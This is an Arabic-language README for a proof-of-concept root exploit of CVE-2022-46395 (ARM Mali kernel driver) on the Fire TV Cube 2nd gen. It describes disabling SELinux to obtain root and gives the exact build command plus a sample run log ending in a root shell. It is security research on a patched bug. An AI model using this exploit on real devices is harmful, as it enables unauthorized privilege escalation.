
CVE-2022-46395 POC لجهاز FireTV الجيل الثاني Cube (raven)
هذا فرع من استغلال الباحث الأمني Man Yue Mo لـ Pixel 6 POC لثغرة CVE-2022-46395. اقرأ شرحه المفصل للثغرة هنا. تم إجراء تغييرات لمراعاة مساحة المستخدم 32 بت في FireOS. يستغل هذا الـ POC خللاً في مشغل نواة ARM Mali للحصول على تنفيذ تعسفي لرمز النواة، ثم يُستخدم لتعطيل SELinux والحصول على صلاحية الجذر.
تم تصحيح الثغرة في PS7652/3564 (أواخر أغسطس 2023). للإشارة، تم استخدام الأمر التالي للتجميع باستخدام clang في ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf
للحصول على أسرع النتائج، قم بتشغيله بعد إعادة تشغيل جديدة. في المتوسط، يستغرق الـ POC من 2 إلى 5 دقائق للحصول على صلاحية الجذر.
raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #